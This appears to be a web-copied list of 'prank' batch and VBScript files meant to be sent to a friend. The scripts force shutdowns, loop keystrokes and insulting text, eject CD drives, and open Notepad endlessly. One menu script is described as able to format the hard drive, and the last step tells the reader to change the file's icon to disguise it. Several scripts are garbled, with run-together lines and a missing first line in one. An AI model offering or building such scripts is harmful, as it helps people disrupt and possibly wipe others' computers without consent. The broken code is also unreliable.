1) Convey your friend a little message and shut down his / her computer:
Type in note pad :
@echo off
msg * I don''t like you
shutdown -c ''Error! You are too stupid!'' -s
Save it as ''Anything.BAT'' in All Files and send it.
2) Toggle your friend''s Caps Lock button simultaneously:
Type in note pad :
Set wshShell =wscript.CreateObject
(''WScript.Shell'')
do wscript.sleep 100
wshshell.sendkeys ''{CAPSLOCK}''
loop
Save it as ''Anything.VBS'' and send it.
3) Continually pop out your friend''s CD Drive. If he / she has more than one, it pops out all of them!
Type in note pad :
Set oWMP = CreateObject(''WMPlayer.OCX.7'')Set colCDROMs = oWMP.cdromCollection do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1 colCDROMs.Item.Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item.Eject
Next
End If wscript.sleep 5000
loop
Save it as ''Anything.VBS'' and send it.
4) Frustrate your friend by making this VBScript hit Enter simultaneously:
Type in note pad:
Set wshShell = wscript.CreateObject (''WScript.Shell'')
do
wscript.sleep 100
wshshell.sendkeys ''~(enter)''
loop
Save it as ''Anything.VBS'' and send it.
5) Open Notepad, slowly type ''Hello,how are you? I am good thanks'' and freak your friend out:
Type in note pad :
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject
(''WScript.Shell'')
WshShell.Run ''notepad''
WScript.Sleep 100 WshShell.AppActivate ''Notepad''
WScript.Sleep 500
WshShell.SendKeys ''Hel''
WScript.Sleep 500
WshShell.SendKeys ''lo ''
WScript.Sleep 500 WshShell.SendKeys '', ho''
WScript.Sleep 500
WshShell.SendKeys ''w a''
WScript.Sleep 500
WshShell.SendKeys ''re ''
WScript.Sleep 500 WshShell.SendKeys ''you''
WScript.Sleep 500
WshShell.SendKeys ''? ''
WScript.Sleep 500
WshShell.SendKeys ''I a''
WScript.Sleep 500 WshShell.SendKeys ''m g''
WScript.Sleep 500
WshShell.SendKeys ''ood''
WScript.Sleep 500
WshShell.SendKeys '' th''
WScript.Sleep 500 WshShell.SendKeys ''ank''
WScript.Sleep 500
WshShell.SendKeys ''s! ''
Save it as ''Anything.VBS'' and send it.
6) Frustrate your friend by making this VBScript hit Backspace simultaneously:
Type in note pad :
(''WScript.Shell'')
do
wscript.sleep 100
wshshell.sendkeys ''{bs}''
loop
Save it as ''Anything.VBS'' and send it.
7) Hack your friend''s keyboard and make him type ''You are a fool'' simultaneously:
Type in note pad :
Set wshShell = wscript.CreateObject
(''WScript.Shell'')
do
wscript.sleep 100
wshshell.sendkeys ''You are a fool.''
loop Save it as ''Anything.VBS'' and send it.
8. Open Notepad continually in your friend''s computer:
Type in note pad :
@ECHO off :top
START %SystemRoot%
''system32''notepad.exe
GOTO top
Save it as ''Anything.BAT'' and send it.
9) Hard prank:
Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:
1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type in note pad:
@echo off
title The end of the world
cd C:''
:menu
cls echo I take no responsibility for your
actions. Beyond this point it is you that
has the power to kill yourself. If you
press ''x'' then your PC will be formatted.
Do not come crying to me when you
fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY echo 4. Die this way (you''re boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==2 goto two
Save it as ''Anything.BAT'' and send it.
10)You might wanna have to change the Icon of the file before sending it to your friend,
so right click the file,
click Properties, click on the ''Change'' Icon and change the icon from there.
To Stop this ->
Go To Task Manager and End
wscript.exe process.